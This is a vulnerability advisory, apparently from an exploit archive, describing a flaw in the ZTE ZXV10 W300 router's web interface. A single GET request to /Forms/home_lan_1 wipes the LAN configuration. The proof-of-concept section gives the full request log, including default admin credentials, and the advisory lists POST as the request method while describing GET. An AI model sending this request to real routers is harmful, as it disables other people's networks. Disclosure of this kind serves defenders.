ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability

Document Title:
===============
ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability
 
 
Product & Service Introduction:
===============================
ZTE zxv10 w300 ADSL wireless router cat family gateway (accessories include a host, a power line, a line of 1 root, separator, 1)
 
(Copy of the Vendor Homepage:  http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html )
 
 
Discovery Status:
=================
Published
 
 
Affected Product(s):
====================
ZTE Corporation
Product: ZTE ZXV10 W300 3.1.0c_DR0
 
 
Exploitation Technique:
=======================
Remote
 
 
Severity Level:
===============
High
 
 
Technical Details & Description:
================================
A session vulnerability has been discovered in the official ZTE Corporation ZXV10 W300 v3.1.0c_DR0 modem hardware.
The security vulnerability allows remote attackers to block/shutedown or delete network settings and components.
 
The LAN configuration post to /Forms/home_lan_1 and the page  /home_lan_1  that stores the configuration of the router.
Attackers can request via GET method the /Forms/home_lan_1  path and the modem will delete all the LAN configurations automatically. 
The problem is the GET method request with the /Forms/home_lan_1  path that deletes all the configurations. A hard reset is required 
after successful exploitation of the issue.
 
The security risk of the router ui web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the security web vulnerability requires no privilege web-application user account and low user interaction (click link).
Successful exploitation of the vulnerability results in reset of the modem device, shutdown of the network/lan or compromise of running services.
 
Request Method(s):
                [+] POST
 
Vulnerable Module(s):
                [+] Forms/
 
Affected Module(s):
                [+] home_lan_1
 
 
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click).
For security demonstration or to reproduce follow the provided information and steps below to continue.
 
--- PoC Session Logs [GET] ---
13:18:35.526[0ms][total 0ms] 
Status: pending[]
GET http://192.168.1.1/Forms/home_lan_1 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[unknown] Mime Type[unknown]
Request Headers:   
Host[192.168.1.1]   
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]   
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]   
Accept-Language[en-US,en;q=0.5]   
Accept-Encoding[gzip, deflate]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Authorization[Basic YWRtaW46YWRtaW4=]
 
Note: The victim with needs to click to perform only the GET method request with non expired session to execute!
 
Reference(s):
http://localhost/Forms/home_lan_1 
 
 
Security Risk:
==============
The security risk of the remote vulnerability in the interface service is estimated as high. (CVSS 6.0)

#  0day.today [2018-04-14]  #